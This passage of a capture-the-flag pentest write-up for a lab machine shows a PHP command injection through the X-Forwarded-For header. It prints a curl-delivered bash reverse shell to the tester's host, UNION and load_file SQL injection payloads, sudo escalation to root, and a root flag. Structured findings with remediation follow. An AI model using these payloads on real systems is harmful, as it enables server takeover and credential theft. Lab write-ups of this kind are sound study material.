    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
  } else {
    $ip = $_SERVER['REMOTE_ADDR'];
  };
  system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
?>
              <h1 class="text-white">Welcome Back!</h1>
              <h3 class="text-white">Your IP Address has now been granted SSH Access.</h3>
                </div>
        </section>
</div>

On review we could see that the webpage runs some PHP code that could possibly be escaped to run commands directly on the server.

Exploitable code snippet
<?php
  if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
  } else {
    $ip = $_SERVER['REMOTE_ADDR'];
  };
  system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
?>

Attempting this exploitation using Burp Suite did not work.

Screenshot of unsuccessful SQLi command injection

So the tester attempted this exploitation using Curl:

Curl Command to inject command into webpage
curl -X GET -H 'X-FORWARDED-FOR: ;bash -c "bash -i >& /dev/tcp/10.10.14.59/9001 0>&1";' --cookie "PHPSESSID=esirg2cauee1p76p4o17ggd1gl" 'http://10.10.11.128/firewall.php' 
Full Command & Output
~ [10.10.14.59]
> curl -X GET -H 'X-FORWARDED-FOR: ;bash -c "bash -i >& /dev/tcp/10.10.14.59/9001 0>&1";' --cookie "PHPSESSID=esirg2cauee1p76p4o17ggd1gl" 'http://10.10.11.128/firewall.php' 
<html>
<head><title>504 Gateway Time-out</title></head>
<body>
<center><h1>504 Gateway Time-out</h1></center>
<hr><center>nginx/1.18.0 (Ubuntu)</center>
</body>
</html>

and successfully connected using the www-data user:

NetCat listener receiving reverse shell
~ [10.10.14.59]
> sudo nc -lvnp 9001
[sudo] password for kali: 
listening on [any] 9001 ...
connect to [10.10.14.59] from (UNKNOWN) [10.10.11.128] 49916
bash: cannot set terminal process group (805): Inappropriate ioctl for device
bash: no job control in this shell
www-data@union:~/html$ sudo -l
sudo -l
Matching Defaults entries for www-data on union:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on union:
    (ALL : ALL) NOPASSWD: ALL
www-data@union:~/html$ 

Using sudo -l the tester discovered that this user has admin privileges.

SSH Connection: Escalating privileges and printing the root flag
www-data@union:~/html$ sudo su
sudo su
pwd
/var/www/html
cd /root
ls
root.txt
snap
cat root.txt
acf4300f7dabb7b9ca4ebd2e775346ce

The last flag is gained by simply switching to the root user and viewing the root.txt file.

Technical Findings

1. Manual UNION-based SQL Injection - Critical

CWECWE-89: Improper Neutralization of Special Elements used in an SQL Command
CVSS 3.1 Score9.8 (Critical)
DescriptionThe player parameter on the Player Eligibility Check form (index.php) is vulnerable to UNION-based SQL injection. While automated tools like SQLMap are blocked by signature-based filters (the "SQLMap Killer"), manual exploitation allows for the concatenation of multiple values into the single reflective column.
Security ImpactAn unauthenticated attacker can dump the entire backend database, including the firewall flag, and use the load_file function to read sensitive local files such as /etc/passwd and config.php, which contains cleartext SSH credentials.
Affected Host/URI
Remediation
  • Implement Prepared Statements with parameterised queries to ensure user input is never interpreted as code.
  • Sanitise all user-supplied data using a strong allow-list.
  • Disable all unnecessary database functions like load_file.
External References

Finding Evidence:

The tester successfully bypassed the signature-based filters by using a manual UNION SELECT payload to retrieve the database version:

player=player' union select @@version -- -

Furthermore, the tester leveraged the load_file function to retrieve the contents of config.php, exposing cleartext credentials for the uhc user:

player=player' union select load_file('/var/www/html/config.php') -- -

2. OS Command Injection via HTTP Header - Critical

CWECWE-78: Improper Neutralization of Special Elements used in an OS Command
CVSS 3.1 Score9.8 (Critical)
DescriptionThe firewall.php page uses a system() function to execute an iptables command. The $ip variable is populated directly from the user-supplied X-FORWARDED-FOR HTTP header without any input sanitisation.
Security ImpactAn attacker can inject shell metacharacters (e.g., ;) into the header to escape the intended command and execute arbitrary code on the server. This results in a Remote Code Execution (RCE) foothold as the www-data user.
Affected Host/URI
Remediation
  • Remove the code that passes user-controlled headers directly into system-level commands.
  • Use built-in PHP functions for IP validation or the escapeshellarg() function to properly sanitise data before it is passed to the shell.
External References

Finding Evidence:

The tester successfully obtained a reverse shell by submitting a crafted GET request with a bash one-liner injected into the X-FORWARDED-FOR header:

curl -X GET -H 'X-FORWARDED-FOR: ;bash -c "bash -i >& /dev/tcp/10.10.14.59/9001 0>&1";' 'http://10.10.11.128/firewall.php'

The tester’s Netcat listener received the connection, confirming command execution as the www-data user.

3. Over-Permissive Sudo Privileges - High

CWECWE-250: Execution with Unnecessary Privileges
CVSS 3.1 Score7.8 (High)
DescriptionThe www-data service account is configured in the /etc/sudoers file with full administrative rights using the entry (ALL : ALL) NOPASSWD: ALL.
Security ImpactAny user who compromises the web server (as shown in finding 2) can immediately elevate their privileges to root. This grants total control over the host system, allowing for the theft of all data and persistence on the machine.
Affected Host
  • 10.10.11.128 (Union)
Remediation
  • Enforce to the Principle of Least Privilege on local user accounts.
  • Remove the global sudo entry for www-data and only grant specific, necessary permissions using absolute paths for required binaries.
External References

Finding Evidence:

After gaining a shell as www-data, the tester executed sudo -l to list the user’s privileges:

User www-data may run the following commands on union: (ALL : ALL) NOPASSWD: ALL

By simply typing sudo su, the tester successfully switched to the root user account and retrieved the final flag from /root/root.txt.